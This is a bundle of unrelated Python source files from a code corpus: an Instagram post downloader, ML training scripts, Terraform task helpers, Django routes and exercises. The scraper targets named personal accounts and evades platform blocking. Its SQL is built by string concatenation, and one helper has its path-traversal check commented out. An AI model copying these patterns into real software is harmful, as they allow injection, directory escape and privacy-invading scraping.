# sql_query = \"SELECT * FROM Instagram WHERE username='mo_onbyul'\"\n # sql_query = \"SELECT * FROM Instagram WHERE username='whee_inthemood'\"\n # sql_query = \"SELECT * FROM Instagram WHERE username='_mariahwasa'\"\n # sql_query = \"SELECT * FROM Instagram WHERE username='mamamoo_official'\"\n #\n sql_query = \"SELECT * FROM '{Table_name}' WHERE ( is_download ='False' ) \"\n sql_query = sql_query.format(Table_name=username)\n result = cursor.execute(sql_query).fetchall()\n if (len(result) < 1):\n print(\"All post is download: len(result):\" + str(len(result)))\n return\n cursor.close()\n con.close()\n file_loc_str = './media/'\n file_loc_str = file_loc_str + result[0][0] + \"/\"\n\n os.makedirs(file_loc_str, exist_ok=True)\n # os.makedirs('./media/mo_onbyul/', exist_ok=True)\n\n post_pre_url = init.url_prefix_post\n print(\"total post: \" + str(len(result)))\n if (islogin == False):\n browser = webdriver.Chrome()\n browser.implicitly_wait(30)\n\n # for i in range(20):\n for i in range(len(result)):\n # need wait some time to avoid blockade\n time.sleep(1)\n\n file_loc_str = './media/'\n file_loc_str = file_loc_str + result[i][0] + \"/\" # username\n file_name = result[i][5] # shortcode\n post_url = post_pre_url + file_name + \"/\"\n counter = 0\n while (1):\n try:\n counter = counter + 1\n browser.get(post_url)\n soup = Soup(browser.page_source, \"lxml\")\n xhr = soup.find_all(type='text/javascript')\n print(\"xhr over\")\n shortcode_media = getmedia(islogin, file_name, xhr, soup)\n print(\"shortcode over\")\n save_media(shortcode_media, file_loc_str, file_name, database_name, username)\n break\n except:\n if (soup.text.find('協助我們確認您的身分') != -1 or counter > 15):\n print(\"帳號遭鎖定\")\n # os.system(\"pause\")\n input()\n time.sleep(2)\n print(\"loading webpage fail... try again\")\n\n # shortcode_media = getmedia(islogin, file_name, xhr, soup)\n # save_media(shortcode_media, file_loc_str, file_name,database_name)\n\n\ndef getmedia(islogin, file_name, xhr, soup):\n if (islogin):\n print(\"islogin:\" + str(islogin))\n\n for xhr_i in xhr:\n try:\n json_str = str(xhr_i)[68 + len(file_name):-11]\n js_data = json.loads(json_str, encoding='utf-8')\n shortcode_media = js_data['graphql']['shortcode_media']\n return shortcode_media\n except:\n # print(\"wrong xhr_i\")\n if (soup.text.find('協助我們確認您的身分') != -1):\n print(\"帳號遭鎖定\")\n print(\"loading webpage fail... try again\")\n input()\n else:\n print(\"islogin:\" + str(islogin))\n json_str = str(xhr[15])[52:-10] # 沒登入/\n js_data = json.loads(json_str, encoding='utf-8')\n shortcode_media = js_data['entry_data']['PostPage'][0]['graphql']['shortcode_media']\n return shortcode_media\n\n\ndef updateDB(file_name, database_name, _Table_name):\n # 已存\n con = sqlite3.connect(database_name)\n cursor = con.cursor()\n sql_isdownload_pre = \"update '{Table_name}' set is_download='Ture' where shortcode = '\"\n sql_isdownload_pre = sql_isdownload_pre.format(Table_name=_Table_name)\n sql_isdownload = sql_isdownload_pre + file_name + \"'\"\n sql_isdownload\n cursor.execute(sql_isdownload)\n con.commit()\n cursor.close()\n con.close()\n print(\"DB is_download = True\")\n\n\ndef save_media(shortcode_media, file_loc_str, file_name, database_name, _Table_name):\n if ('edge_sidecar_to_children' in shortcode_media):\n # isSingle=False\n print(\"True : is multi media\")\n edges = shortcode_media['edge_sidecar_to_children']['edges']\n for i in range(len(edges)):\n is_video = edges[i]['node']['is_video']\n if (is_video):\n media_link = edges[i]['node']['video_url']\n file_type = '.mp4'\n else:\n media_link = edges[i]['node']['display_resources'][-1]['src']\n file_type = '.jpg'\n media = requests.get(media_link)\n print(\"write file : \" + file_loc_str + file_name + \"_\" + str(i) + file_type)\n with open(file_loc_str + file_name + '_' + str(i) + file_type, 'wb') as f:\n f.write(media.content)\n else:\n # isSingle = True\n print(\"False : is single media \")\n edges = shortcode_media\n is_video = edges['is_video']\n if (is_video):\n media_link = edges['video_url']\n print(media_link)\n file_type = '.mp4'\n if (media_link == 'https://static.cdninstagram.com/rsrc.php/null.jpg'):\n print('Fail in this video:' + _Table_name + ', file_name: ' + file_name)\n return\n else:\n media_link = edges['display_resources'][-1]['src']\n file_type = '.jpg'\n media = requests.get(media_link)\n print(\"write file : \" + file_loc_str + file_name + \"_\" + file_type)\n with open(file_loc_str + file_name + '_' + file_type, 'wb') as f:\n f.write(media.content)\n\n updateDB(file_name, database_name, _Table_name)\n","sub_path":"downloadpost.py","file_name":"downloadpost.py","file_ext":"py","file_size_in_byte":5935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"158036557","text":"from typing import List\nimport os\nimport flair.datasets\nfrom flair.datasets import ColumnCorpus\nfrom flair.data import Corpus\nfrom flair.embeddings import (\n TokenEmbeddings,\n WordEmbeddings,\n StackedEmbeddings,\n FlairEmbeddings,\n CharacterEmbeddings,\n)\nfrom flair.training_utils import EvaluationMetric\nfrom flair.visual.training_curves import Plotter\n\nrubric = \"CAPITAL\"\nnb_cells = 32\nexp_name = \"DFS_\" + \"shuffled_\" + str(nb_cells) + \"_01\"\n# 1. get the corpus\ncolumns = {0: 'text', 1: 'pos'}\n\n# this is the folder in which train, test and dev files reside\nid = \"EHF_shuffled_dataset_v0\"\ndata_folder = './datasets/' + id\n\n\nfor file in os.listdir(data_folder):\n if \"train\" in file:\n train = file\n if \"test\" in file:\n test = file\n if \"valid\" in file:\n valid = file\n\n\n# init a corpus using column format, data folder and the names of the train, dev and test files\ncorpus: Corpus = ColumnCorpus(data_folder, columns,\n train_file=train,\n test_file=test,\n dev_file=valid)\n\nprint(corpus)\n\n# 2. what tag do we want to predict?\ntag_type = \"pos\"\n\n# 3. make the tag dictionary from the corpus\ntag_dictionary = corpus.make_tag_dictionary(tag_type=tag_type)\nprint(tag_dictionary.idx2item)\n\n# initialize embeddings\nembedding_types: List[TokenEmbeddings] = [\n #WordEmbeddings(\"glove\"),\n # comment in this line to use character embeddings\n # CharacterEmbeddings(),\n # comment in these lines to use contextual string embeddings\n #\n FlairEmbeddings('fr-forward'),\n #\n FlairEmbeddings('fr-backward'),\n]\n\nembeddings: StackedEmbeddings = StackedEmbeddings(embeddings=embedding_types)\n\n# initialize sequence tagger\nfrom flair.models import SequenceTagger\n\ntagger: SequenceTagger = SequenceTagger(\n hidden_size=nb_cells,\n embeddings=embeddings,\n tag_dictionary=tag_dictionary,\n tag_type=tag_type,\n use_crf=True,\n)\n\n# initialize trainer\nfrom flair.trainers import ModelTrainer\n\ntrainer: ModelTrainer = ModelTrainer(tagger, corpus)\n\ntrainer.train(\n \"resources/taggers/\" + exp_name,\n learning_rate=0.1,\n embeddings_storage_mode= \"cpu\",\n mini_batch_size=32,\n max_epochs=150,\n shuffle=False,\n)\n\nplotter = Plotter()\nplotter.plot_training_curves(\"resources/taggers/\" + exp_name + \"/loss.tsv\")\nplotter.plot_weights(\"resources/taggers/\" + exp_name + \"/weights.txt\")\n","sub_path":"train_shuffled.py","file_name":"train_shuffled.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"641541763","text":"\n\nfrom rllab.envs.base import Env\nfrom rllab.envs.base import Step\nfrom rllab.spaces import Box\nimport numpy as np\n\nfrom julia import Main\nfrom julia import Base\nBase.include(\"/home/csidrane/Dropbox/AAHAA/src/RNNs4Marabou/julia_env_wrapper.jl\")\n\nclass RobotManipulationDirect(Env):\n def __init__(self):\n self._nsteps = 0.0\n self.reset()\n\n @property\n def observation_space(self):\n # define heading (theta) as ranging from 0 to 2*pi\n # [ vx', vy', omega, px, py, theta, accel_x, accel_y, accel_z]\n obs = Box(np.array([-np.inf, -np.inf, -np.inf, -np.inf, -np.inf, 0, -np.inf, -np.inf, -np.inf]), # low\n np.array([ np.inf, np.inf, np.inf, np.inf, np.inf, 2*np.pi, np.inf, np.inf, np.inf])) #high\n return obs\n\n @property\n def action_space(self):\n # u = [Fx, Fy, Ta]\n acts = Box(np.array([-np.inf, -np.inf, -np.inf]),np.array([np.inf, np.inf, np.inf]))\n return acts\n\n def isdone(self):\n if self._nsteps <= Main.nSamples :\n return False\n else: \n print(\"Number of steps til done was:\", Main.nSamples)\n # should I reset env?\n return True\n\n # returns: (observation, reward, done, info)\n def step(self, action):\n self._nsteps += 1 # this is \"i\" in step_helper\n print(\"self._nsteps = \", self._nsteps)\n # rename\n u = action\n x = self._state\n\n obs, reward, info, xp = Main.step_helper_julia(u,x,self._nsteps)\n done = self.isdone()\n self._state = xp\n return (obs, reward, done, info)\n\n def reset(self):\n self._state = Main.x0_state # this seems to be 1, but in the paper is says initial state is randomly distributed around zero??\n self._nsteps = 1.0\n # return initial observation\n udummy = np.array([0.0,0.0,0.0])\n obs = Main.ssm.h(self._state, udummy)\n return obs\n\n def render(self):\n print('current state:', self._state)\n\nenv = RobotManipulationDirect()\nenv.reset()\nenv.step(np.array([0.0,0.0,0.0]))","sub_path":"robot_manipulation_ported_from_julia.py","file_name":"robot_manipulation_ported_from_julia.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"166523497","text":"import json\nimport os\nfrom pathlib import Path\n\nfrom celery.result import AsyncResult\nfrom celery.result import EagerResult\nfrom django.conf import settings\n\nfrom pan_cnc.celery import app as cnc_celery_app\nfrom pan_cnc.lib.exceptions import CCFParserError\nfrom pan_cnc.tasks import python3_execute_bare_script\nfrom pan_cnc.tasks import python3_execute_script\nfrom pan_cnc.tasks import python3_init_with_deps\nfrom pan_cnc.tasks import terraform_apply\nfrom pan_cnc.tasks import terraform_destroy\nfrom pan_cnc.tasks import terraform_init\nfrom pan_cnc.tasks import terraform_output\nfrom pan_cnc.tasks import terraform_plan\nfrom pan_cnc.tasks import terraform_refresh\nfrom pan_cnc.tasks import terraform_validate\n\n\ndef __build_cmd_seq_vars(resource_def, snippet_context):\n if 'variables' not in resource_def:\n print('No resource def found or mis-configured')\n return None\n\n sanity_checked_vars = dict()\n for v in list(resource_def['variables']):\n var_name = v['name']\n if var_name in snippet_context:\n sanity_checked_vars[var_name] = snippet_context[var_name]\n else:\n print('Not found in snippet_context')\n\n print(sanity_checked_vars)\n return sanity_checked_vars\n\n\ndef perform_init(resource_def, snippet_context) -> AsyncResult:\n resource_dir = resource_def['snippet_path']\n tf_vars = __build_cmd_seq_vars(resource_def, snippet_context)\n return terraform_init.delay(resource_dir, tf_vars)\n\n\ndef perform_validate(resource_def, snippet_context) -> AsyncResult:\n resource_dir = resource_def['snippet_path']\n tf_vars = __build_cmd_seq_vars(resource_def, snippet_context)\n return terraform_validate.delay(resource_dir, tf_vars)\n\n\ndef perform_plan(resource_def, snippet_context) -> AsyncResult:\n resource_dir = resource_def['snippet_path']\n tf_vars = __build_cmd_seq_vars(resource_def, snippet_context)\n return terraform_plan.delay(resource_dir, tf_vars)\n\n\ndef perform_apply(resource_def, snippet_context) -> AsyncResult:\n resource_dir = resource_def['snippet_path']\n tf_vars = __build_cmd_seq_vars(resource_def, snippet_context)\n return terraform_apply.delay(resource_dir, tf_vars)\n\n\ndef perform_output(resource_def, snippet_context) -> EagerResult:\n resource_dir = resource_def['snippet_path']\n tf_vars = __build_cmd_seq_vars(resource_def, snippet_context)\n return terraform_output.apply(args=[resource_dir, tf_vars])\n\n\ndef perform_refresh(resource_def, snippet_context) -> AsyncResult:\n resource_dir = resource_def['snippet_path']\n tf_vars = __build_cmd_seq_vars(resource_def, snippet_context)\n return terraform_refresh.delay(resource_dir, tf_vars)\n\n\ndef perform_destroy(resource_def, snippet_context) -> AsyncResult:\n resource_dir = resource_def['snippet_path']\n tf_vars = __build_cmd_seq_vars(resource_def, snippet_context)\n return terraform_destroy.delay(resource_dir, tf_vars)\n\n\ndef python3_check_no_requirements(resource_def) -> bool:\n (resource_dir, script_name) = _normalize_python_script_path(resource_def)\n req_file = os.path.join(resource_dir, 'requirements.txt')\n if os.path.exists(req_file):\n print('requirements.txt exists')\n return False\n else:\n return True\n\n\ndef python3_execute_bare(resource_def, args) -> AsyncResult:\n (script_path, script_name) = _normalize_python_script_path(resource_def)\n input_type = get_python_input_options(resource_def)\n return python3_execute_bare_script.delay(script_path, script_name, input_type, args)\n\n\ndef python3_init(resource_def) -> AsyncResult:\n print(f\"Performing python3 init\")\n (resource_dir, script_name) = _normalize_python_script_path(resource_def)\n tools_dir = os.path.join(settings.CNC_PATH, 'tools')\n return python3_init_with_deps.delay(resource_dir, tools_dir)\n\n\ndef python3_execute(resource_def, args) -> AsyncResult:\n (script_path, script_name) = _normalize_python_script_path(resource_def)\n input_type = get_python_input_options(resource_def)\n return python3_execute_script.delay(script_path, script_name, input_type, args)\n\n\ndef python3_init_complete(resource_def) -> bool:\n print(f\"Performing python3 check\")\n (resource_dir, script_name) = _normalize_python_script_path(resource_def)\n init_done_file = os.path.join(resource_dir, '.python3_init_done')\n if os.path.exists(init_done_file):\n print('python3 init complete')\n return True\n else:\n return False\n\n\ndef _normalize_python_script_path(resource_def: dict) -> tuple:\n if 'snippet_path' not in resource_def:\n raise CCFParserError('Malformed .meta-cnc file for python3 execution')\n\n resource_dir = resource_def['snippet_path']\n if 'snippets' in resource_def and len(resource_def['snippets']) > 0:\n # python type only uses first snippet from list\n snippet = resource_def['snippets'][0]\n if 'file' in snippet and 'name' in snippet:\n script = snippet['file']\n\n if '/' not in script:\n script = f\"./{script}\"\n\n # ensure no funny business\n skillet_base_path = Path(resource_dir)\n print(skillet_base_path)\n script_path = skillet_base_path.joinpath(script).resolve()\n print(script_path)\n # # if skillet_base_path not in script_path.parents:\n # raise CCFParserError('Malformed .meta-cnc file for python3 execution - Refusing to jump out of dir')\n\n return str(script_path.parent), script_path.name\n else:\n raise CCFParserError('Malformed .meta-cnc file for python3 execution - Malformed snippet')\n else:\n raise CCFParserError('Malformed .meta-cnc file for python3 execution - Malformed snippet')\n\n\ndef get_python_input_options(resource_def: dict) -> str:\n \"\"\"\n Determine how input variables from the view should be passed to this script. An optional snippet parameter\n called 'input_type' is checked to determine whether 'cli' or 'env' should be used. 'cli' indicates input\n variables will be passed along as long form arguments to the python script on the cli (for example:\n --first_arg=arg1_val --second_arg=arg2_val). 'env' indicates env variables will be set (for example:\n export first_arg=arg1_var; export second_arg=arg2_val)\n\n :param resource_def: the compiled .meta-cnc file\n :return: str of either 'cli' or 'env'\n \"\"\"\n if 'snippet_path' not in resource_def:\n raise CCFParserError('Malformed .meta-cnc file for python3 execution')\n\n try:\n if 'snippets' in resource_def and len(resource_def['snippets']) > 0:\n # python type only uses first snippet from list\n snippet = resource_def['snippets'][0]\n if 'input_type' in snippet:\n if str(snippet['input_type']).lower() == 'cli':\n return 'cli'\n elif str(snippet['input_type']).lower() == 'env':\n return 'env'\n else:\n return 'cli'\n\n return 'cli'\n except TypeError:\n raise CCFParserError('Malformed .meta-cnc file for python3 execution - Malformed snippet')\n\n\ndef verify_clean_state(resource_def) -> bool:\n # Verify the tfstate file does NOT exist or contain resources if it does exist\n resource_dir = resource_def['snippet_path']\n rd = Path(resource_dir)\n state_file = rd.joinpath('terraform.tfstate')\n print(f'checking {state_file}')\n if state_file.exists() and state_file.is_file():\n print('It exists, so lets check it out')\n # we have had a state at some point in the past\n with state_file.open(mode='r') as state_object:\n state_data = json.loads(state_object.read())\n print(state_data)\n modules = state_data.get('modules', [])\n for module in modules:\n if 'resources' in module:\n print('We have resources')\n if len(module['resources']) > 0:\n return False\n else:\n return True\n\n return True\n\n\ndef purge_all_tasks() -> None:\n num_tasks = cnc_celery_app.control.purge()\n print(f'Purged {num_tasks} tasks from queue')\n return None\n\n\ndef clean_task_output(output: str) -> str:\n \"\"\"\n Remove CNC metadata from task output. In some cases we need to return data from the task to the cnc application.\n The only available route to do this is by injecting metadata into the text output from the task. This is done by\n simply prefixing out metadata with 'CNC:'. This function will remove any metadata from the task output in order\n to present it to the user\n :param output: str of output with metadata possibly present\n :return: str of output with no metadata present\n \"\"\"\n cleaned_output = \"\"\n for line in output.splitlines():\n if not line.startswith('CNC:'):\n cleaned_output += f'{line}\\n'\n\n return cleaned_output\n","sub_path":"pan_cnc/lib/task_utils.py","file_name":"task_utils.py","file_ext":"py","file_size_in_byte":8952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"518827950","text":"from src.book import Book\n\ndef main():\n #write your code below this line\n books = []\n while True:\n title = input(\"Title:\")\n if not title:\n break\n pages = input(\"Pages:\")\n year = input(\"Publication Year:\")\n input_book = Book(title, pages, year)\n books.append(input_book)\n \n print_query = input(\"What information will be printed?\")\n if (print_query == \"everything\"):\n for i in books:\n print(i)\n elif (print_query == \"name\"):\n for j in books:\n print(j.get_title())\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/exercise.py","file_name":"exercise.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"316571906","text":"#! python\n\nprint( \"____START____\")\n\nf1 = open(\"E:/luna/Source/[Server]Agent/AgentDBMsgParser.cpp\", \"rb\")\nflog = open(\"AgentDBMsgParser.cpp\", \"wb\")\nbufe = f1.read()\nf1.close()\n\nline33 = bufe.split(b'\\x0D\\x0A')\nfr = len(line33)\nlseek = 0\nwhile lseek < fr:\n\tlin3 = line33[lseek]\n\tflog.write(lin3 + b'\\x0D\\x0A')\n\t\n\tlseek += 1\n\t\n\n\nflog.close()\nprint( \"____END_____\")\n\n\n\n\n\n\n\n","sub_path":"_z_python/AgentDBParser_py.py","file_name":"AgentDBParser_py.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"16956263","text":"from django.urls import path\nimport employees.views\n''' The path '' corresponds to the GET request for all employees\n\tThe path '/' corresponds to GET request for individual employee\n\tThe path 'new/' corresponds to POST request for creating new new\n\tThe path '/edit/' corresponds to both PUT and DELETE requests to edit or delete the employee\n\n\tThe path 'roles/' corresponds to the GET request for all roles\n\tThe path '/' corresponds to GET request for individual role\n\tThe path 'new/' corresponds to POST request for creating new roles\n\tThe path '/edit/' corresponds to both PUT and DELETE requests to edit or delete the role\n\n'''\nurlpatterns = [\t\n\n\n\n\n\tpath('',employees.views.EmployeeView.as_view()),\n\tpath('/',employees.views.EmployeeDetailView.as_view()),\n path('new/',employees.views.EmployeeCreateView.as_view()),\n path('/edit/',employees.views.EditEmployeeView.as_view()),\n path('roles/',employees.views.RoleView.as_view()),\n path('roles//',employees.views.RoleDetailView.as_view()),\n path('roles/new/',employees.views.RoleCreateView.as_view()),\n path('roles//edit/',employees.views.RoleEditView.as_view()),\n\n ]","sub_path":"employees/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"301341165","text":"import os.path\nimport random\nusers_number = 100\nsignatures_number = 100\nmod = 10_000\nrand = 0\n\ndef loadInput():\n dict = {}\n my_path = os.path.abspath(os.path.dirname(__file__))\n path = os.path.join(my_path, \"../facts-nns.csv\")\n with open(path, 'r') as file:\n for line in file:\n user, song = map(int, line.split(',', 2))\n if user not in dict:\n dict[user] = []\n dict[user].append(song)\n # for user in dict.keys():\n # dict[user].sort()\n return dict\n\ndef hash(value):\n return (rand * value + 1) % mod\n\ndef newSignature(users):\n global rand\n signature = list()\n rand = random.randint(0, signatures_number)\n for i in range(1, users_number + 1):\n signature.append(min(map(hash, users[i])))\n return signature\n\ndef jaccardSimilarity(list1, list2):\n intersection = len(list(set(list1).intersection(list2)))\n union = (len(list1) + len(list2)) - intersection\n return float(intersection / union)\n\ndef getRealJaccard(users):\n similarity = {}\n for i in range(1, users_number + 1):\n for j in range(1, users_number + 1):\n similarity[(i, j)] = jaccardSimilarity(users[i], users[j])\n return similarity\n\ndef getEstimatedJaccard(signatures):\n similarity = {}\n for signature in signatures:\n for i in range(1, users_number + 1):\n for j in range(1, users_number + 1):\n if signature[i - 1] == signature[j - 1]:\n similarity[(i, j)] = similarity.get((i, j), 0) + 1\n for key in similarity:\n similarity[key] /= signatures_number\n return similarity\n\ndef getRMSE(realValues, estimatedValues):\n result = 0\n for key in estimatedValues:\n result += (realValues[key] - estimatedValues[key])**2\n result /= len(estimatedValues)\n print(len(estimatedValues))\n return result\n\nrandom.seed()\nusers = loadInput()\n\nsignatures = list()\nfor i in range(signatures_number):\n signatures.append(newSignature(users))\n print(i)\n\nestimatedJaccard = getEstimatedJaccard(signatures)\n# print(estimatedJaccard)\nrealJaccard = getRealJaccard(users)\n# print(realJaccard)\nprint(getRMSE(realJaccard, estimatedJaccard))\n\n\n\n","sub_path":"pmd/minhash/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"225792267","text":"import numpy as np\nfrom strtens.util import imread\nfrom strtens import odftools\n\n\ndef get_true_odf_angle(deg):\n mask = imread('./crossing_fibers/masks/z_phantom_mask_nfib9x4_r8_{}deg.tif'.format(\n deg))\n\n fibvoxels = mask[mask > 0]\n n_angle = (fibvoxels == 1).sum()\n n_straight = (fibvoxels == 2).sum()\n\n straight_theta = 0\n straight_phi = np.pi\n angle_theta = deg * np.pi / 180\n angle_phi = np.pi\n\n theta = [straight_theta] * n_straight + [angle_theta] * n_angle\n phi = [straight_phi] * n_straight + [angle_phi] * n_angle\n return np.array(theta), np.array(phi)\n\n\ndef get_true_odf_radius(r):\n mask = imread('./different_size/masks/x_phantom_nfib9_r{}.tif'.format(r))\n\n n = mask[mask > 0].size\n\n theta = n * [np.pi / 2]\n phi = n * [0]\n return np.array(theta), np.array(phi)\n\n\nfor deg in range(15, 86, 10):\n print(deg)\n theta, phi = get_true_odf_angle(deg)\n\n true_c = odftools.get_SH_coeffs(20, theta, phi)\n np.save('./crossing_fibers/true_coeffs/z_phantom_nfib9x4_r8_{}deg_coeffs'.format(deg),\n true_c)\n\nfor r in range(4, 17, 4):\n print(r)\n theta, phi = get_true_odf_radius(r)\n true_c = odftools.get_SH_coeffs(20, theta, phi)\n np.save('./different_size/true_coeffs/x_phantom_nfib9_r{}_coeffs'.format(r),\n true_c)\n","sub_path":"notes/2018-05-22-tuning-parameters/phantoms/make_true_coeffs.py","file_name":"make_true_coeffs.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"465186142","text":"import os\nimport sys\nimport shutil\nimport utility\nimport git\nimport argparse\n\nclass AddProject:\n def __init__(self, prj_name, prj_folder, sln_path = ''):\n self.__last_error = ''\n\n self.__prj_name = prj_name\n self.__prj_folder = prj_folder\n self.__prj_src_path = ''\n self.__sln_path = sln_path\n self.__sln_name = ''\n self.__sln_namespace = ''\n \n self.__temp_path = ''\n self.__temp_macro = [] # 模板中需要替换的宏列表\n self.__temp_files = [] # 模板复制的文件\n\n pass\n \n ##################################################\n # 初始化\n\n # 获取sln的路径\n def __GetSlnPath(self):\n if len(self.__sln_path) > 0:\n if os.path.isdir(self.__sln_path) == True:\n return True\n else:\n self.__last_error = '初始化--输入的工程路径不存在'\n else:\n file_path = os.path.realpath(__file__)\n self.__sln_path = os.path.dirname(file_path) + '\\\\..\\\\'\n self.__sln_path = os.path.abspath(self.__sln_path)\n return True\n\n # 检测路径\n def __GetSlnInfo(self):\n info_path = self.__sln_path + '\\\\tools\\\\project_info.txt'\n lines = utility.ReadFileToLines(info_path)\n if lines == None:\n self.__last_error = '读取工程信息错误--' + utility.GetLastError()\n return False\n sln_map = {}\n for line in lines:\n line = utility.DelBeginChar(line)\n line = utility.DelEndChar(line)\n if len(line) == 0:\n continue\n i = line.find(':')\n if i == -1:\n continue\n key = line[: i]\n val = line[i + 1 :]\n sln_map[key] = val\n self.__sln_name = sln_map['sln_name']\n self.__sln_namespace = sln_map['namespace']\n\n print('获取到 name:' + self.__sln_name)\n print('获取到 namespace:' + self.__sln_namespace)\n\n return True\n\n # 初始化各种数据的信息\n def __InitInfo(self):\n\n self.__prj_src_path = self.__sln_path + '\\\\src\\\\' + \\\n self.__prj_folder + '\\\\' + self.__prj_name\n\n # 模板路径\n self.__temp_path = self.__sln_path + '\\\\tools\\\\project_temp\\\\'\n self.__temp_path = os.path.abspath(self.__temp_path)\n\n # 宏\n self.__temp_macro = []\n self.__temp_macro.append(['namespace', self.__sln_namespace])\n self.__temp_macro.append(['sln_name', self.__sln_name])\n self.__temp_macro.append(['prj_name', self.__prj_name])\n self.__temp_macro.append(['prj_folder', self.__prj_folder])\n self.__temp_macro.append(['NAMESPACE', self.__sln_namespace.upper()])\n self.__temp_macro.append(['SLN_NAME', self.__sln_name.upper()])\n self.__temp_macro.append(['PRJ_FOLDER', self.__prj_folder.upper()])\n\n return True\n\n def __CheckPath(self):\n if utility.CheckPath(self.__temp_path, False) == False:\n self.__last_error = '未检测到模板目录--' + utility.GetLastError()\n return False\n \n if utility.CheckPath(self.__prj_src_path) == False:\n self.__last_error = '检测源码路径错误--' + utility.GetLastError()\n return False\n \n if utility.CheckPath(self.__prj_src_path + '\\\\test') == False:\n self.__last_error = '检测测试路径错误--' + utility.GetLastError()\n return False\n\n return True\n\n # end\n ##################################################\n\n ##################################################\n # 模板相关\n\n def __GetTempFilesList(self):\n temp_info = self.__temp_path + '\\\\temp_list.txt'\n lines = utility.ReadFileToLines(temp_info)\n if lines == None:\n self.__last_error = '获取模板信息错误--' + utility.GetLastError()\n return False\n for line in lines:\n line = utility.DelBeginChar(line)\n line = utility.DelEndChar(line)\n if len(line) == 0:\n continue\n i = line.find('-->')\n if i == -1:\n continue\n key = line[: i]\n val = line[i + 3 : ]\n self.__temp_files.append([key, val])\n return True\n\n def __CopyTempFiles(self):\n for fm in self.__temp_files:\n if len(fm) != 2:\n continue\n if len(fm[0]) == 0 or len(fm[1]) == 0:\n continue\n src_path = self.__temp_path + '\\\\' + fm[0]\n dst_path = self.__sln_path + '\\\\' + utility.RepTempStr(self.__temp_macro, fm[1])\n shutil.copy(src_path, dst_path)\n utility.RepTempCode(self.__temp_macro, dst_path)\n return True\n\n # end\n ##################################################\n \n ##################################################\n # 对外接口\n\n # 初始化\n def Init(self):\n print('初始化')\n\n if self.__GetSlnPath() == False:\n return False\n print('sln path:' + self.__sln_path)\n \n if self.__GetSlnInfo() == False:\n return False\n\n if self.__InitInfo() == False:\n return False\n \n if self.__CheckPath() == False:\n return False\n\n return True\n\n # 复制模板\n def CopyTemp(self):\n print('复制模板')\n\n if self.__GetTempFilesList() == False:\n return False\n \n if self.__CopyTempFiles() == False:\n return False\n return True\n \n def AddCMake(self):\n cmake_path = self.__sln_path + '\\\\src\\\\CMakeLists.txt'\n data = utility.ReadFileToStr(cmake_path)\n if data == None:\n self.__last_error = '读取CMake主工程文件错误' + utility.GetLastError()\n return False\n\n data = utility.DelEndChar(data)\n\n data += '\\r\\n\\r\\n# ' + self.__prj_name + '\\r\\n'\n data += 'add_subdirectory(${PROJECT_SOURCE_DIR}/' + \\\n self.__prj_folder + '/' + self.__prj_name + '/)'\n\n if utility.WriteFileToStr(cmake_path, data) == False:\n self.__last_error = '写入CMake主工程文件错误' + utility.GetLastError()\n return False\n\n return True\n\n def GetLastError(self):\n return self.__last_error\n\n def UsingGit(self):\n try:\n repo = git.Repo(self.__sln_path)\n except git.InvalidGitRepositoryError as er:\n self.__last_error = '无法打开Git项目'\n return False\n repo.index.add(['project', 'src'])\n repo.index.commit('add : ' + self.__prj_name)\n repo.__del__()\n return True\n\n # end\n ##################################################\n\ndef ParseArgs():\n parse = argparse.ArgumentParser()\n parse.add_argument('--path', '-p')\n parse.add_argument('--name', '-n')\n parse.add_argument('--folder', '-folder')\n\n args = parse.parse_args()\n return args\n\ndef main():\n\n # 需要解析参数\n args = ParseArgs()\n \n prj_name = 'fde_test'\n prj_folder = 'lib'\n #sln_path = r'D:\\tmp\\tpjr'\n sln_path = ''\n\n if args.path != None:\n sln_path = args.path\n if args.name != None:\n prj_name = args.name\n if args.folder != None:\n prj_folder = args.folder\n \n\n print('开始添加项目:' + prj_name)\n\n ap = AddProject(prj_name, prj_folder, sln_path)\n if ap.Init() == False:\n print('初始化失败--' + ap.GetLastError())\n return\n if ap.CopyTemp() == False:\n print('复制模板失败--' + ap.GetLastError())\n return\n \n if ap.AddCMake() == False:\n print('添加项目错误--' + ap.GetLastError())\n return\n \n '''if ap.UsingGit() == False:\n print('提交Git失败--' + ap.GetLastError())\n return'''\n\n print('项目添加完成')\n\nif __name__ == '__main__':\n main()\n","sub_path":"tools/python/add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":7091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"504974964","text":"from Prac_06.guitar import Guitar\n\nMENU = \"Would you like to:\\n(A)dd a guitar\\n(L)ist guitars\\n(Q)uit\"\n\n\ndef main():\n guitars = []\n print(MENU)\n choice = input(\">>> \").upper()\n while choice != \"Q\":\n if choice == \"A\":\n # name = input(\"Name: \")\n # year = input(\"Year: \")\n # cost = input(\"Cost: \")\n # new_guitar = Guitar(name,year,cost)\n # guitars.append(new_guitar)\n guitars.append(Guitar(\"Gibson L-5 CES\", 1922, 16035.40))\n guitars.append(Guitar(\"Line 6 JTV-59\", 2010, 1512.9))\n elif choice == \"L\":\n print(\"These are my guitars\")\n for i, guitar in enumerate(guitars):\n vintage_string = \" (vintage)\" if guitar.is_vintage() else \"\"\n print(\"Guitar {}: {:>15} ({}), worth ${:10,.2f}{}\".format(i + 1, guitar.name, guitar.year, guitar.cost,\n vintage_string))\n else:\n print(\"Invalid Option\")\n print(MENU)\n 